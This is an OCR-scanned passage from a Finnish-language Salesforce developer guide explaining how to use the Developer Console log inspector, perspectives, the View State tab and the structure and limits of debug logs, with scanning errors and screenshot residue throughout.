2. Napsauta Suoritettavien yhteenveto -paneelista Suoritetut yksikot -valilehted tarkastellaksesi erityyppisten pyydettyjen toimintojen
kerdystietoja. Voit esimerkiksi tarkastella DML-toimintojen maarda tai eri metodeja tyypin mukaan.

3. Napsauta Rajoitukset-vdlilehted tarkastellaksesi tdmdn toiminnon kdyttdmia hallintorajoituksia.

System.Debug-lausekkeiden tarkasteleminen
Tilanne: Olet lisannyt koodiin useita System. Debug-lausekkeita seurataksesi pyynnon edistymistd. Miten voit [dytad ne lokien
tarkastusohjelman avulla?

1. Valitse Execution Log (Suoritusloki) -paneelista Filter (Suodatin).
2. Kirjoita tekstikenttddn DEBUG (isoilla kirjaimilla).
Vain merkkijonon DEBUG sisaltdvat rivit ndytetddn pyynnostasi.

Lahdekoodin paivittaminen
Tilanne: Kun olet suorittanut pyynnén, huomaat virheenkorjauslokissa virheen Apex-koodissasi. Mika on helpoin tapa muokata
Apex-koodiasi?
1. Valitse Lahde-ikkunasta koodirivi.
2. Napsauta Open (Avaa).
Luokka tai kdynnistin avataan lahdekoodin editorin uudessa valilehdessa.

Pyynnon DML:n seuraaminen
Tilanne: Pyyntosi sisaltda useita DML-lausekkeita eri sijainneissa. Miten maarittdd, kuinka monta kertaa DML suoritetaan pyynndssa?

Tassa on kaksi tekniikkaa joiden avulla voit porautua syvemmalle virheenkorjauslokissa ja tutkia todellista pyynndn aikana suoritettua

DML:4a.

1. Valitse Execution Log (Suoritusloki) -paneelista Filter (Suodatin) ja kirjoita sitten DML. Kaikki pyynnon kohteet, jotka siséltavat
DML:n joko tapahtumassa tai lisdtiedoissa, ndytetaan.

2. Napsauta Execution Overview (Suorituksen yhteenveto ) -paneelista Executed Units (Suoritetut yksikot) -vdlilehted ja poista kaikki
muuntyyppiset suoritukset kdytostd, paitsi DML. Painikkeet ovat vaihtopainikkeita — napsauta kerran suodattaaksesi toimintotyypin
pois luettelosta. Poista suodatin kdytosta napsauttamalla uudelleen. Tarkastele vain DML-operaatiota napsauttamalla Methods
(Metodit), Queries (Kyselyt), Workflow (Tyonkulku), Callouts (Callout-kutsut), Validations (Vahvistukset), Triggers (Kaynnistimet)
ja Visualforce Pages (Visualforce-sivut).

e DML-operaation lisdtiedot nayttavdt kohteena olleen objektin ja tarkat suoritetut toiminnot — lisdys, paivitys ja niin edelleen.
Voit myos tarkastella DML-lausekkeen suorituskertoja, rivien madrid, jne.

e Jos napsautat DML-pyyntékohdetta Executed Units (Suoritetut yksikot) -valilehdestd, suoritusloki suodattaa kaikki muut
pyynnon osat pois ja ndyttda ainoastaan kyseisen DML-lausekkeen.

Ndita toimenpiteitd voidaan kayttdd myos pyyntéjen hakemiseen ja suodattamiseen.

Visualforce-sivun suorituskyvyn arvioiminen
Tilanne: Sinulla on Visualforce-sivu ja Apex-ohjain, joka suorittaa SOQL-kyselyjd. Miten analysoit sivun suorituskyvyn ja 16yddt mikd
koodiyksikkd vie eniten aikaa? Miten maarittda, kuinka monta kyselyd suoritetaan pyynnossa? Kuinka tarkistaa, miten Iahelld
hallintorajoituksia ollaan?

1. Hae Visualforce-sivun nimi pinohakemistosta. Yldtaso on muodossa /apex/sivunnimi.Sen allaoleva ensimméinen noodi
ndyttdd sivun todellisen suorituksen. Avaa tdmd noodi néhdaksesi ohjaimen kdynnistysajan.

2. Jatka noodien avaamista selataksesi metodien kutsuja sekd miten kauan kuhunkin metodiin meni aikaa. Kun napsautat kohdetta
Stack Tree (Pinohakemisto) -paneelista, Execution Log (Suoritusloki) -paneelissa ndytetddn virheenkorjauslokin kyseinen osio,
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Source (Ldhde) -paneeli pdivittyy ndyttdmaan asianmukaisen ldhdekoodin ja Variables (Muuttujat) -paneelissa ndytetdan
kontekstissa olevat muuttujat.

3. Napsauta Execution Overview (Suorituksen yhteenveto) -paneelin Executed Units (Suoritetut yksikot) -valilehted ndhddksesi
koodisi tilastoja, mukaan lukien suoritusaika millisekunteina ja kekokoko tavuina. Cnt (Madrd) -sarakkeessa naytetdan tietyn
koodiyksikon suorituskertojen méadra. Jos koodiyksikkd on suoritettu useammin kuin kerran, summa, keskiarvo, maksimi- ja
minimisuoritusajat paivitetdan. Vastaavasti, jos kysely on suoritettu useammin kuin kerran, ndyttdon pdivitetdan palautettujen
rivien koostettujen lukujen yhteenveto.

Voit suodattaa pois koodiyksikdt napsauttamalla alareunassa painikkeita, jotka vastaavat koodiyksikéitd, jotka haluat jattaa pois
nakymastd. Pyynnon DML:n seuraaminen -kohdassa kerrotaan miten tdma tehddan.

locmmonrien ——— ]

Save Order  Limits | Timeline | Executed Units
What Mame Sum Avg Max Min Count Heap Query Type Sumrows Avgrows Maxrows = Minrow
Method size 0,40 0.08 0,11 0.06 5 0 nfa nfa nfa nfa nfa ol
Method debug 0.72 0.08 0,13 0.08 8 0 nja nfa nfa nja nfa
Method execute 36,92 36,92 36,92 36,92 1 2534 nfa nfa nfa nfa nfa 3 ‘
Method [_uifcom... 36,98 36,98 36,98 36,98 1 0 nja nfa nfa nja nfa D
Method add 0,43 0.12 0,15 0.09 4 0 nfa nfa nfa nfa nfa -
Show: | Methods | Queries || Workflow || Callouts | DML || Validations || Triggers || Pages

4. Napsauta Limits (Rajoitukset) -vdlilehted vahvistaaksesi voimassa olevat rajoitukset ja miten lahella pyyntdsi on kutakin voimassa
olevaa rajoitusta. Total Available (Kdytettavissa yhteensd) -sarakkeessa ndytetdadn organisaatiosi hallintorajat toimintatyypeittdin.
Reques Total (Pyyntdjd yhteensd) -sarakkeessa ndytetdan suoritettujen pyyntojen kokonaislukumadrd. Used So Far (Tahan asti
kdytetty) -sarakkeessa ndytetadn pinoseurannasta tai suorituslokista valitulla suoritushetkelld kulutettujen pyyntdjen lukumaara.

5. Napsauta Timeline (Aikajana) -valilehted ndhdaksesi suoritetut koodiyksikét jaettuna koodiyksikkdtyypeittdin sekd suoritusajan
kokonais- ja prosenttiosuuden kunkin koodiyksikkdtyypin mukaan. Aikajanan avulla ndet helposti, mitkd pyyntosi osat kestivat
pisimpadn. Valitse aikavdli yhteenveto-osan alareunasta ja lisda tai vahennd aikajanassa néytettya jaksoa.

oo ——

Save Order Limits | Timeline Executed Units

Category Millis % 14:53:01. 100 14:53:01.110 14:53:01.120 14:53:01.130 14:5.
| | El

WORKFLOW 0.00 0.00%

DB 0.00 0.00% ~

4 | I r
Scale: @ 0.01Seconds O 0.1Seconds ) 1Seconds (O 10 Seconds ) Minutes

Tassa esimerkissa tietokantapyynnot veivat eniten aikaa (56,95 %). Niiden jalkeen tulee Visualforce-sivu. Vahiten aikaa kaytettiin
Apex-koodiin. Lisaksi Visualforce-sivut ja Apex-koodi suoritettiin ensimmadiseksi ja viimeiseksi, kun taas tietokantatoiminnot
suoritettiin siind valissa.

Monimutkaisen prosessin tarkasteleminen
Tilanne: Prosessisi on monimutkainen ja sisaltdd Apex-luokkia ja kdynnistimid,tydnkulun ja vahvistussadntojd. Mikd on paras tapa
kdyda lapi tai suodattaa luotu virheenkorjausloki?

1. Pino-osio sisdltad hakemistorakenteen, joka kuvaa pyynndn kaikkien yldtason kohteiden suorituspolkua. Kayta tdta ndhddksesi
suorittamiesi kohteiden hierarkian.

2. Kaytd suorituslokin Filter (Suodata) -tekstiruutua. Jos esimerkiksi haluat ndhda kdynnistinkohtaisia tapahtumia, napsauta Filter
(Suodata) ja kirjoita t rigger. Execution Log (Suoritusloki) -osiossa ndytetddn virheenkorjauslokista vain rivit, jotka siséltavat
sanan trigger.

3. Rajaa Execution Log (Suoritusloki) -valilehti ndyttdamaan tietty valittu suoritusyksikko valitsemalla This Frame (Tamd kehys). Jos
esimerkiksi valitset rivin, joka sisdltdd CODE_UNIT STARTED suorituslokissa ja napsautat sitten This Frame (Tama kehys),
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suoritusloki ndyttdd ainoastaan ne pyynndn kohteet, jotka tapahtuvat kohteen CODE UNIT STARTED ja siihen liittyvén
CODE_UNIT ENDED-kohteen vdlilla.

Note: Kun This Frame (Tamd kehys) on valittuna, suorituslokissa naytetadn vain kohteet, jotka sisaltyvat myds kyseiseen
kehykseen, mutta ei mitdan alemman tason toimintoja. Jos esimerkiksi kdynnistin kutsuu luokan, ainoastaan
kdynnistintoiminnot ndytetadn suorituslokissa, mutta ei luokkatoimintoja.

Lokin tarkastajan perspektiivit

Mukautettujen perspektiivien luominen lokien tarkastusohjelmassa
Perspektiivi on ennalta madritetty asettelu paneeleita Developer-konsolin lokien tarkastusohjelmassa.

Kun suoritat tehtavan lokien tarkastusohjelmassa, kdyta perspektiivid, joka nopeuttaa ja helpottaa tehtdvan suorittamista. Kullakin
kehittdjalld on oma tyylinsa. Kayttévalmiiden perspektiivien luettelon |6ydat kohdasta Lokien tarkastusohjelma.

Mukautetun perspektiivin luominen tai olemassa olevan perspektiivin muokkaaminen:
1. Avaa loki Developer-konsolin lokien tarkastusohjelmassa.

2. Napsauta Debug (Virheenkorjaus) > View Log Panels (Naytéa lokipaneelit) ja valitse paneelit, jotka haluat sisallyttdd perspektiiviin.

Kéytettavissa olevien paneelien luettelon |6ydat kohdasta Lokipaneelit. Jos muokkaat perspektiivid, sen nimen peraan lisataan
*-merkki, kunnes se tallennetaan.

O Vihje: Jos luot Execution Log (Suoritusloki) -paneelin siséltavan perspektiivin, saatat haluta siséllyttda siihen Source (Lahde)
-paneelin.

3. Tallenna tekemasi muutokset napsauttamalla Save Perspective (Tallenna perspektiivi). Jos haluat luoda uuden perspektiivin,
napsauta Save Perspective As (Tallenna perspektiivi nimelld) ja kirjoita uusi nimi.

KATSO MYOS:
Lokien tarkastusohjelma

Perspektiivien hallinta lokien tarkastusohjelmassa

Perspektiivien hallinta lokien tarkastusohjelmassa

Perspektiivi on ennalta madritetty asettelu paneeleita Developer-konsolin lokien tarkastusohjelmassa.

Kun suoritat tehtdvdn lokien tarkastusohjelmassa, varmista, ettd kdytat tydhon sopivaa perspektiivia.

Hallitse perspektiivejasi napsauttamalla Debug (Virheenkorjaus) > Perspective Manager (Perspektiivien hallinta).

e Jos haluat siirtyd toiseen perspektiiviin, kaksoisnapsauta perspektiivin nimed tai valitse se ja napsauta Open (Avaa).

e Jos haluat muuttaa oletusarvoista perspektiivid, valitse perspektiivin nimi ja napsauta Set Default (Valitse oletukseksi)l.

® Jos haluat poistaa perspektiivin, valitse perspektiivin nimi ja napsauta Delete (Poista).

e Joshaluatluoda mukautetun perspektiivin, katso lisatietoja kohdasta Mukautettujen perspektiivien luominen lokien tarkastusohjelmassa.
Seuraavat perspektiivit on madritetty ennalta:

e All (Kaikki) (oletusarvo)
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Log /_ui CSIAPT @04/24 11:04:55
=
Execution Tree Performance Tree Timestamp Event Details £ Count
Unit Duration e 11:04:55:086  EXECUTION_ST.. -1 0 SrmEs frm A e e
359/ uljcommon/_ 3148 e 11:0455:086  CODE_UNIT_ST.. [EXTERNAL |execute |
Cexeaute_. 3143 2534 11:04:55:086 VARIABLE_SCO.. [f]icharacters|lisT<s 4 [Loom] r
1L0%55:108  HEAP_ALLOCATE  [EXTERNALBytes:? | Jump |  Open |

11:04:55:108 STATEMENT_EX... [1]]

Unit Duration Heap Wariable Value
11:04:55:108 STATEMENT_EX... [1]] . N
debug 0.07 a - <empty=> Nene in scope at line
11:04:55:108 HEAP_ALLOCATE 1]|Bytes:4
debug 0.07 0 o - R <
debug 0.07 0 4 ot 3
debug 0.09 o ~ [C] This Frame [ Executable [] Debug Only [T Fitter

Save Order | Limits || Timeline || Executed Units

What Name Sum Avg Max Min Count Heap Query Type  Sumrows Avg rows Max rows Min row
Method size 0.34 0.07 0.12 0.05 5 0 nja nfa nfa nja nfa
Method debug 0.66 0.08 0.11 0.07 8 0 nja nfa nfa nja nfa
Method execute_a 3143 31.43 31.43 3143 1 2534 nja nfa nfa nja nfa
Method {_uifcommo...  31.48 31.48 31.48 3148 il 0 nja nfa nfa nja nfa
Method add 0.39 0.10 0.11 0.09 4 0 nja nfa nfa nja nfa
Method 0.36 0.36 0.36 0.36 il 0 nja nfa nfa nja nfa

Show: | Methods || Queries | Workflow | Callouts || DML || Validations || Triggers || Pages

e Debug (Virheenkorjaus): Koodin virheenkorjaukseen suunniteltu perspektiivi, joka sisaltaa Suoritusloki-, Lahde- ja Muuttujat-paneelit.

Log /_ui CSIAPI @04/24 13:13:39 ©
N
Timestamp Event Details # Count

13:13:39:084 EXECUTION_ST. = K 2 List characters = new List{'child’, 'little white dog', *
13:13:39:084 CODE_UNIT_ST... [EXTERMAL]|execute_anonymous_apex D 2 0

13:13:39:084 VARIABLE_SCO [1]|characters|LIST <String > Jtrue [false 3 8 String spacinglinteger mum) {

13:13:39:140 HEAP_ALLOCATE  [EXTERNAL]|Bytes:7 4 8 String spacing = '';

13:13:39: 140 HEAP_ALLOCATE  [EXTERMAL] |Bytes:13 5 75 for (integer i = 0; i <€ num * 5; it++) {

13:13:39:140 STATEMENT EX... [1]] & &5 spacing += '_';

13:13:39: 140 STATEMENT EX... [1]] 7 0 1

13:13:39:140 HEAP_ALLOCATE  [1][Bytes:4 8 8 return spacing;

13:13:39: 140 SYSTEM_CONST. [1]]<init=>() 0 m D he
13:13:39:140 SYSTEM_CONST. [1]]<init=>() — —
13:13:39: 140 HEAP_ALLOCATE  [1]|Bytes:5 — e
T R e———
13:13:39:141 SYSTEM_METHO... [1]|LIST<String . add(Object) Variable Value

13:13:39:141 HEAP_ALLOCATE  [1]|Bytes: 16

13:13:39:141 SYSTEM_METHO... [1]|LIST<String>.add(Object)

13:13:39:141 SYSTEM_METHO... [1]|LIST<String>.add(Object)

13:13:39:141 HEAP_ALLOCATE  [1]|Bytes:17

13:13:39:141 SYSTEM_METHO... [1]|LIST<String>.add(Object)

13:13:39:141 SYSTEM_METHO... [1]|LIST<String>.add(Object)

13:13:39:141 HEAP_ALLOCATE  [1]|Bytes:2

13:13:39:142 SYSTEM_METHO... [1]|LIST<String>.add(Object) i

[T This Frame [C] Executadle [Z] Debug Only (] Fitter

e Log Only (Vain loki): Lokin suorittamiseen tarkoitettu yleiskdyttdinen perspektiivi, joka sisaltda vain Suoritusloki-paneelin.
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Log /_ui

Timestamp

13:13:39:084
13:13:39:084
13:13:39:084
13:13:39:140
13:13:39:140
13:13:39:140
13:13:39:140
13:13:39:140
13:13:39:140
13:13:39:140
13:13:39:140
13:13:39:141
13:13:39:141
| 13:13:39:141
[IREEECIE
13:13:39:141
13:13:39:141
13:13:39:141
13:13:39:141
13:13:39:141
13:13:39:142

Event
EXECUTION_ST.
CODE_UNIT_ST...
VARIABLE_SCO
HEAP_ALLOCATE
HEAP_ALLOCATE
STATEMENT_EX...
STATEMENT _EX...
HEAP_ALLOCATE
SYSTEM_CONST.
SYSTEM_CONST.
HEAP_ALLOCATE
SYSTEM_METHO...
SYSTEM_METHO...
HEAP_ALLOCATE
SYSTEM_METHO...
SYSTEM_METHO...
HEAP_ALLOCATE
SYSTEM_METHO...
SYSTEM_METHO...
HEAP_ALLOCATE
SYSTEM_METHO...

CSIAPT @04/24 13:13:39 *

Details

[EXTERNAL] |execute_anonymous_apex
[1] |characters|LIST <String > Jtrue [false

[EXTERNAL] |Bytes: 7
[EXTERNAL] |Bytes: 13

(1]l

[

[1] Bytes:4

[1]1<init>0

[1]]<init>0

[1] |Bytes:5
[1]|LIST<5tring>.add(Dbject)
[1]LIST<5tring>.add(Object)
[1] Bytes: 16
[1]LIST<5tring>.add(Object)
[1]|LIST<5tring>.add(Dbject)
[1] Bytes: 17
[1]|LIST<5tring>.add(Dbject)
[1]LIST<5tring>.add(Object)
[1] |Bytes:3
[1]LIST<5tring>.add(Object)

i

.

[Tl This Frame [C] Executable [[] Debug Cnly [T Fitter

Virheenkorjaus Developer-konsolin avulla

Execution Log

»

e Analysis (Analyysi): Lokien analysoimiseen suunniteltu perspektiivi, joka sisaltda Pinohakemisto-, Suorituspino-, Suoritusloki- ja
Suorituksen yhteenveto -paneelit.

Log /_ui

CSIAPT @04/24 13:13:39 *

Stack Tree Execution Log

Execution Tree
Unit

Performance Tree

Duration Heap

(2 /_uifcommon/apex/debu... 105.36

25490

Timestamp

13:13:39:084
13:13:35:084
13:13:35:084
13:13:39:140

S

Unit

debug
debug
debug
debug

Duration Heap
0.10 0
0.10 0
0.10 0
0.13 0

Execution Overview

£

13:13:39:140
13:13:39:140

13:13:39:140

Event

EXECUTION_ST...
CODE_UNIT_ST...
VARIABLE_SCO...
HEAP_ALLOCATE
HEAP_ALLOCATE
STATEMENT_EX...
STATEMENT_EX...
HEAP_ALLOCATE

Details
-
[EXTERMAL] |execute_anonymous_apex \:‘
[1] lcharacters|LIST <String > | true | false
[EXTERMAL] |Bytes:7
[EXTERMAL] |Bytes: 13
(1]
[
[1] [Bytes:4

Save Order | Limits || Timeline

What Name Sum
Method size 0.58
Method debug 2,12
Method execute_a 105.30
Method [ _uifcommo 105.36
Method add 0.46
Method 0.10

Show: | Methods

Queries || Workflow

Executed Units
Avg Max
0.12 0.20
0.27 101
105.30 105.30
105.38 105.36
0.11 0.13
0.10 0.10

Callouts || DML || Validations

0.07
0.10
105.30
105.36
0.10
0.10

Triggers

Pages

Sum rows Avg rows Max rows Min row
nja nfa nfa nja
nja nfa nfa nja
nja nfa nfa nja
nja nfa nfa nja
nja nfa nfa nja
nja nfa nfa nja

Kaytad perspektiivia, joka tekee tehtavasi suorittamisesta nopeaa ja helppoa. Kullakin kehittdjalla on oma tyylinsa: jos jokin esimaaritetyista
perspektiiveistd ei sovi tarpeisiisi, voit suunnitella oman perspektiivisi helposti. Lisatietoja on kohdassa Mukautettujen perspektiivien

luominen lokien tarkastusohjelmassa.

KATSO MYOS:

Lokien tarkastusohjelma

Mukautettujen perspektiivien luominen lokien tarkastusohjelmassa

265



Paranna Salesforcea koodilla

Ndkymadtila-vdlilehti

Virheenkorjaus Developer-konsolin avulla

Developer-konsolin View State (Nakymatila) -valilehti sallii sinun tutkia Visualforce-sivupyynndn nakymatilaa.

<

amtd A O s~

P T

Logs Tests Checkpoints Query Editor View State Progress Problems
Name Type Value Size (KB)
4 3 ChartingRefreshingDataTraditional 2.13
=] Component Tree 0.38
4 ) State 1.92
4 {3 Controllers 0.28
4 {3 PieChartRemoteController Page chartingrefreshingdatatra... 0.28
=] chartyear String 2013 0.03
=] Expressions 0.38
=] Internal 1.26

SA—NA ~+d AnCEadiraTid ~n] el

% Of Parent
100
18
90
15
100
11
20
66

Developer-konsolin View State (Nakymatila) -valilehti toimii samalla tavalla kuin Visualforce-kehitystilan alatunnisteessa oleva View State
(Nakymatila) -valilehti, paitsi ettei kansionoodin kaksoisnapsauttaminen avaa kdyton piiraskaaviota ikkunassa. Lisétietoja on Visualforce
Developer’s Guide -oppaan kohdassa About the View State Tab.

View State (Nakymdtila) -valilehden ottaminen kdyttéon

View State (Nakymatila) -vdlilehden ottaminen kayttéon:

1. Kirjoita henkilokohtaisten asetustesi Pikahaku-kenttddn Kayttdjdn lisdtiedot javalitse Kayttdjan lisatiedot. Eiko
tuloksia 16ydy? Kirjoita Pikahaku-kenttddn Henkil&kohtaiset ja valitse Henkilokohtaiset.

Napsauta Muokkaa.

Valitse Kehitystila-valintaruuty, jos

o W

Napsauta Tallenna.

se ei ole valittuna.

Valitse Nayta ndkymin tila kehitystilassa -valintaruutu.

@ Nofe: Koska ndkymadtila linkitetddn lomaketiedoista, Nakymatila-vélilehti ndytetdan vain, jos sivu sisdltad
<apex : form>-tunnisteen. Lisdksi View State (Nakymatila) -valilehti ndytetddn vain sivuilla, jotka kdyttavdt mukautettuja ohjaimia

tai ohjainlaajennuksia.
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Virheenkorjauslokit

Virheenkorjauslokien kayttdminen

KAYTTJAOIKEUDET EDITION-VERSIOT

Developer-konsolin kdyttéminen: Kaikkien tietojen tarkasteluoikeus Kéytettavissa: Salesforce
A in Apex-koodi Hami Avex-laadintaoik Classicissa ja Lightning
nonyymin Apex-koodin suorittaminen: pex-laadintaoikeus Experiencessa

Koodihaun kayttéminen ja SOQL:n tai SOSL:n - API ké&ytdssa

) . L N Kéytettavissa Performance
suorittaminen kyselyvdlilehdessa:

Edition-, Unlimited Edition-,

Apex Code -luokkiin ja -k&ynnistimiin Apex-laadintaoikeus Developer Ediﬁon-,.

tehtyjen muutosten tallentaminen: Enterprise Edition- ja
Database.com Edition

Visualforce-sivuihin ja -komponentteihin Sovelluksen mukautusoikeus -versioissa

tehtyjen muutosten tallentaminen: o B
Salesforce-kayttoliittymd,

Muutosten tallentaminen Sovelluksen mukautusoikeus s@hkdpostipalvelut ja
Lightning-resurssiin: hyvéksynndt eivat ole
kaytettavissd

Database.com-versiossa.

Virheenkorjausloki voi tallentaa tietokannan toimintoja, jarjestelmaprosesseja ja virheitd, joita ilmenee
tapahtumaa kdynnistettaessa tai yksikkotesteja suoritettaessa. Virheenkorjauslokit voivat sisaltad
seuraavia tietoja:

e tietokannan muutoksista

e HTTP-kutsut

e Apex-virheet

e Apex-sovelluksen kdyttdmat resurssit

® automaattisista tydnkulkuprosesseista, esimerkiksi
- Tyonkulkusadnnot
-~ Kohdistussaannét
-~ Hyvaksymisprosesseista

- Vahvistussaannaista

@ Note: Virheenkorjausloki ei sisalld tietoja aikaan perustuvien tydnkulkujen kdynnistamistd toiminnoista.

Jarjestelma luo virheenkorjauslokin joka kerta, kun maaritettyyn suodatusehtoon sisaltyva tapahtuma suoritetaan.
Tapahtumat voidaan luoda seuraavasta:

e Salesforce-kdyttoliittyma
e APl

® executeanonymous-pyynnot
e Web-palvelut

e sihkdpostipalvelut

Kayttajdlle madritetty suodatusehto, Developer-konsoli tai APl-otsikko madrittavat, mita sisaltyy virheenkorjauslokiin.
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@ Nofte: Virheenkorjauslokit eivat sisalld lidimuunnoksen kdynnistamid tapahtumia. Oletetaan esimerkiksi, ettd muunnettu liidi

kdynnistad tyonkulkusadannon. Virheenkorjausloki ei ndyta, ettd tyonkulkusdanto olisi kdynnistetty.

Alla on esimerkkejd virheenkorjauslokien kdyttamisestd:

Mukautetun sovelluksen kehittajana voit kdyttda virheenkorjauslokia sovelluksen toimintojen vahvistamiseksi. Voit esimerkiksi
madrittad virheenkorjauslokin suodattimen tarkastamaan kutsut ja tarkastella sitten virheenkorjauslokissa tietoja kyseisten kutsujen
onnistumisesta ja kestosta.

Organisaation paakayttajand voit kdyttda virhekorjauslokia ratkaistaksesi kdyttdjien raportoimia ongelmia. Voit tarkkailla kayttajien
virheenkorjauslokeja samalla kun, he kayvat prosessin lapi vaihe vaiheelta, ja kdyttaa sitten virheenkorjauslokia tapahtuman
jarjestelmatietojen tarkastelemiseen.

Virheenkorjauslokien rajoitukset

Virheenkorjauslokien rajoitukset 16ytyvat alta.

Yksi virheenkorjausloki voi olla enintadn 2 Mt. Yli 2 Mt virheenkorjauslokeja pienennetadn poistamalla vanhoja lokirivejd, esimerkiksi
edellisten System.debug-lausekkeiden lokirivejd. Lokirivejd voi poistaa mistd tahansa, ei pelkdstaan virheenkorjauslokin alusta.

Jokainen organisaatio voi sdilyttad enintdan 50 Mt virheenkorjauslokeja. Kun organisaatiosi on saavuttanut virheenkorjauslokien 50
Mt rajan, vanhimpien virheenkorjauslokien padlle aletaan kirjoittaa uusia.

Virheenkorjauslokin lyhentéminen

Virheenkorjauslokit lyhennetadn vanhimmista lokisydtteistd alkaen, jotta olennaisimmat tiedot pysyisivat saatavilla. Uusimmat lokisyotteet
sdilytetdan aina. Virheenkorjauslokia lyhennetdan 200 kilotavulla, kun se kasvaa yli 2 Mt.

Seuraavat tapahtumat ovat tarpeellisia virheenkorjauslokin kdsittelemiseksi ja ne liittyvdt poistamattomissa oleviin lokisyotteisiin:

EXECUTION STARTED
EXECUTION FINISHED
CODE_UNIT STARTED
CODE_UNIT FINISHED
METHOD ENTRY
METHOD EXIT
CONSTRUCTOR_ENTRY
CONSTRUCTOR EXIT
SOQL_EXECUTE_BEGIN
SOQL_EXECUTE END
SOQL_EXECUTE BEGIN
SOQL_EXECUTE_END
CALLOUT REQUEST
CALLOUT REQUEST
FATAL ERROR
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@ Nofte: Virheenkorjauslokin kdsittelyyn tarvittavien tapahtumien lokisyotteitd ei lyhennetd ja ne ovat aina osana virheenkorjauslokia.
Ndiden lokisyotteiden aloitus- ja lopetusrivien valiset lokitiedot poistetaan kuitenkin osana lyhentdmista.

KATSO MYOS:
Virheenkorjauslokin tiedot

Hakeminen virheenkorjauslokista

Virheenkorjauslokin tiedot

KAYTTJAOIKEUDET

Developer-konsolin kayttéminen:

EDITION-VERSIOT

Kaytettavissa Salesforce
Classicissa ja Lightning
Experiencessa

Kaikkien tietojen tarkasteluoikeus
Anonyymin Apex-koodin suorittaminen: Apex-laadintaoikeus

Koodihaun kayttéminen ja SOQL:n tai SOSL:n - API ké&ytdssa

o s N Kaytettdvissa: Enterprise
suorittaminen kyselyvdlilehdessa:

Edition-, Performance
Edition-, Unlimited Edition-,
Developer Edition- ja
Database.com Edition
Visualforce-sivuihin ja -komponentteihin -~ Sovelluksen mukautusoikeus _versioissa

tehtyjen muutosten tallentaminen:

Apex Code -luokkiin ja -k&ynnistimiin Apex-laadintaoikeus

tehtyjen muutosten tallentaminen:

Muutosten tallentaminen Sovelluksen mukautusoikeus

Lightning-resurssiin:

Virheenkorjausloki sisaltda ylatunnisteen, suoritusyksikét, koodiyksikét, lokirivit ja muut lokitiedot.

Virheenkorjauslokin osioiden tarkastaminen

Kun olet luonut virheenkorjauslokin, lueteltujen tietojen tyyppi ja maara riippuu suodatusarvoista, jotka olet mdarittanyt kdyttdjalle.
Virheenkorjauslokin muoto on kuitenkin aina sama.

Virheenkorjauslokissa on seuraavat osiot.

Ylatunniste
Ylatunniste sisaltda seuraavat tiedot.

e Tapahtuman aikana kdytetyn APl:n versio.

e Lokin luokka ja taso, joita kdytettiin lokin luomiseen. Esimerkki:

Alla on esimerkki ylatunnisteesta.

38.0
APEX CODE, DEBUG; APEX PROFILING, INFO; CALLOUT, INFO; DB, INFO; SYSTEM, DEBUG; VALIDATION, INFO; VISUALFORCE, INFO;
WORKFLOW, INFO

Tassa esimerkissa APl-versio on 38.0 ja seuraavat virheenkorjauslokin luokat ja tasot on maaritetty.

Apex-koodi

Apex-profilointi

DEBUG
INFO
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Kutsu
Tietokanta
Jarjestelma
Vahvistus
Visualforce

Tyonkulku

Suoritusyksikot

Suoritusyksikkd vastaa tapahtumaa. Se sisaltad kaiken, joka tapahtui tapahtumassa EXECUTION STARTED ja

EXECUTION FINISHED rajoittavat suoritusyksikkdd.
Koodiyksikot

INFO
INFO
DEBUG
INFO
INFO
INFO

Virheenkorjauslokit

Koodiyksikkd on erillinen tydyksikkd tapahtuman sisalld. Esimerkiksi kaynnistin on yksi koodiyksikkd, kuten webService-menetelmd

tai vahvistussaanto.

@ Note: Luokka ei ole erillinen koodiyksikko.

CODE_UNIT STARTED ja CODE_UNIT FINISHED rajoittavat koodiyksikoita. Tydyksikot voivat upottaa muita tydyksikoitd.

Esimerkki:

EXECUTION STARTED

CODE _UNIT STARTED| [EXTERNAL]execute anonymous apex

CODE_UNIT STARTED| [EXTERNAL]MyTrigger on Account trigger event Beforelnsert for [new]

CODE_UNIT FINISHED <-- The trigger ends

CODE_UNIT FINISHED <-- The executeAnonymous ends

EXECUTION FINISHED

Koodiyksikko sisdltad seuraavat, mutta ei rajoitu niihin:
e Kaynnistimet

e Tydnkulun kutsut ja aikapohjaisen tydnkulun

e Vahvistussaantoja

e Hyvdksymisprosesseja

e Apex-liidin muunnos

e Q@future-menetelmdn kutsut

e Web-palvelun kutsut

® executeanonymous-pyynnot

e Visualforce-ominaisuus, joka kayttda Apex-sadtimia

e Visualforce-toiminnot Apex-saatimilld

e Apex-erien start-ja finish-metodien suoritus sekd execute-metodin jokainen suoritus

® ApexSystem.Schedule execute -menetelman suoritus

e Tulevien sahkdpostien kasittely

Lokirivit

Lokirivit sisaltyvat koodiyksikihin ja osoittavat, mitd koodia tai sdantéja suoritetaan. Lokirivit voivat olla myds virheenkorjauslokiin

kirjoitettua viestejd. Esimerkki:
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Virheenkorjauslokit

Time Stamp Event Identifier

14:49:59.037 (37045000) |USER_DEBUG| [2] | DEBUG|Hello World!

Lokin rivit koostuvat kenttajoukoista, jotka on erotettu pystyviivalla (). Muoto on:

aikaleima: Koostuu ajasta, jolloin tapahtuma tapahtui, ja sulkeissa olevasta arvosta. Aika on kdyttajan aikavyohykkeen mukainen
jamuodossa HH:mm: ss . SSS. Sulkeissa oleva arvo esittad pyynnon alusta kulunutta aikaa nanosekunteina. Kuluneen ajan
arvoa eisisdllytetd Developer Console -konsolissa tarkastettaviin lokeihin, kun kdytat Execution Log (Suoritusloki) -ndkymaa. Voit
kuitenkin néhda kuluneen ajan kdyttamalld Raw Log (Raaka loki) -ndkymaa. Avaa Raw Log (Raaka loki) -ndkyma napsauttamalla
lokin nimea hiiren oikealla painikkeella Developer Console -konsolin Logs (Lokit) -valilehdestd ja valitsemalla Open Raw Log
(Avaa raaka loki).

tapahtuman tunnistin: Maarittdd tapahtuman, joka kdynnisti virheenkorjauslokimerkinndn (kuten SAVEPOINT RESET fai
VALIDATION RULE). Sisdltad myds tapahtumasta lokiin kirjattuja lisdtietoja, kuten metodin nimen tai rivin ja merkin, jossa
koodi suoritettiin.

Enemman lokitietoja
Lisaksi loki sisdltad seuraavat tiedot.

Resurssien kumulatiivinen kaytto kirjataan lokiin useiden koodiyksikdn paatteeksi. Naihin koodiyksikaihin sisaltyy kdynnistimet,
executeAnonymous, Apex-eran viestin kasittely, @ future-metodit, Apex-testimetodit, Apex-web-palvelumetodit sekd
lidin Apex-muunnos.

Kumulatiiviset profilointitiedot kirjataan lokiin kerran transaktion lopussa ja ne siséltavét tietoja DML:n hyédyntamisestd, kallimmista

